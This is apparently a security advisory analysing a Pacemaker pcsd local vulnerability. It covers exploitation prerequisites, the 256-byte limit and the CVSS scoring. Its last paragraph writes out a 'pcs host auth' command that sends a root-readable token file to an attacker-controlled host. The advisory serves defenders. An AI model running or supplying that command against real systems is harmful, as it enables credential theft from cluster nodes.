Pacemaker PCS EUVD-2026-75396

Exploitation requires: (1) an existing local shell account on a cluster node where pcsd is running; (2) membership in the 'haclient' group - this is not a default user privilege and must be explicitly granted, typically to cluster administrators or HA management tooling; (3) the target file must be 256 bytes or fewer in size, as enforced by pcsd_token_max_bytes = 256 in pcs/settings_default.py - files exceeding this limit cause the command to abort before exfiltration; (4) the pcsd daemon must be active. Exploitation is strictly read-only and constrained to the 256-byte ceiling, meaning large private keys, TLS certificates, and most configuration files cannot be fully exfiltrated. The attack is not automatable against remote systems; it is an insider or lateral-movement pattern requiring an established foothold with group membership on the target cluster node.

The CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, score 6.5) accurately characterizes this vulnerability. The scope change (S:C) and high confidentiality impact (C:H) are justified: the pcsd daemon's root privilege context reads files the attacker cannot access directly, and the exfiltrated content can be high-value credentials. The 256-byte cap significantly constrains the attack surface - large private keys, certificates, and configuration files are out of reach, but short API tokens, symmetric keys, bearer tokens, and service account credentials (common targets in cloud-adjacent environments) fit well within the limit. EPSS data was not provided; KEV status is not confirmed; no public exploit has been identified at time of analysis. Practical exploitability requires local shell access and deliberate 'haclient' group membership, which limits opportunistic exploitation but represents a genuine insider or compromised-account threat in clustered HA environments. Any HA operations team - even a mid-sized one managing a handful of cluster nodes - should treat this as urgent if short-format credentials exist as root-readable files on cluster nodes, given how easily the prerequisite group membership could be abused.

A local user with 'haclient' group membership on a cluster node identifies a root-readable file containing a short API token at /root/.config/service_token (under 256 bytes). The attacker runs pcs host auth attacker-node addr=attacker-controlled-host --token /root/.config/service_token, causing the pcsd daemon to read the file as root, base64-encode its contents, and transmit the token during cluster node authentication to the attacker's host. The attacker recovers the credential from the cluster communication response. No public exploit code has been identified at time of analysis.